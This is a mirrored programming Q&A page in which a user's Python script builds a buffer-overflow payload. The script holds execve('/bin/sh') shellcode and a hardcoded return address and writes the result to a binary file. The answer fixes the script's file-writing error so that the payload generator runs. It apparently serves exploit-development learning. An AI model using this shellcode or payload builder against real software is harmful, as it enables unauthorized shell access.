简体   繁体   中英

How to write byte-list to file Python?

I have a list of bytes that I want to write as a binary file:

This is what I have:

import struct as st

shellcode = bytearray("\xeb\x1f\x5e\x89\x76\x08\x31"+
     "\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d"+
     "\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40"+
     "\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh")

def generateexploitmessage(nops, retaddr):
    message = []
    for x in xrange(0,128):
        message += st.pack(">I",retaddr)
    print(message)
    for x in xrange(0,len(shellcode)):
        message[x] = shellcode[x]
    print(message)
    print(len(message))
    return message


def reversebyteorder(arg):
    returnarray = []
    for x in xrange(0,len(arg),4):
        temparray = bytearray(arg[x:x+4])[::-1]
        print temparray
        returnarray += temparray
    return returnarray


def writebytestofile(message):
    f = open("pyexploit.bin",'wb')
    print message 
    f.write(message)
    f.close()


def main():
    print shellcode
    exploit =generateexploitmessage(0,0xbffff614)
    readyexploit = reversebyteorder(exploit)
    writebytestofile(readyexploit)


if __name__ == '__main__':
    main()

The error message I'm getting is the following:

Traceback (most recent call last):
  File "generateexploit.py", line 47, in <module>
    main()
  File "generateexploit.py", line 43, in main
    writebytestofile(readyexploit)
  File "generateexploit.py", line 35, in writebytestofile
    f.write(message)
TypeError: argument 1 must be string or buffer, not list

I understand that I somehow need to convert my list or what I have to a writable format, but I have no idea how. I have tried to put a bytearray(message) where I write the final message to the file, but that didnt help.

Bot generateexploitmessage() and reversebyteorder() produce a list of bytes (integers), not a bytesarray() . Wrap the result in a bytearray() again before writing:

f.write(bytearray(message))

Alternatively, stick to producing a bytearray earlier ; there is no need to use lists here:

def generateexploitmessage(nops, retaddr):
    message = bytearray()
    for x in xrange(128):
        message += st.pack(">I", retaddr)
    message[:len(shellcode)] = shellcode
    return message

def reversebyteorder(arg):
    returnarray = bytearray()
    for x in xrange(0, len(arg), 4):
        temparray = bytearray(arg[x:x + 4])[::-1]
        returnarray += temparray
    return returnarray

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM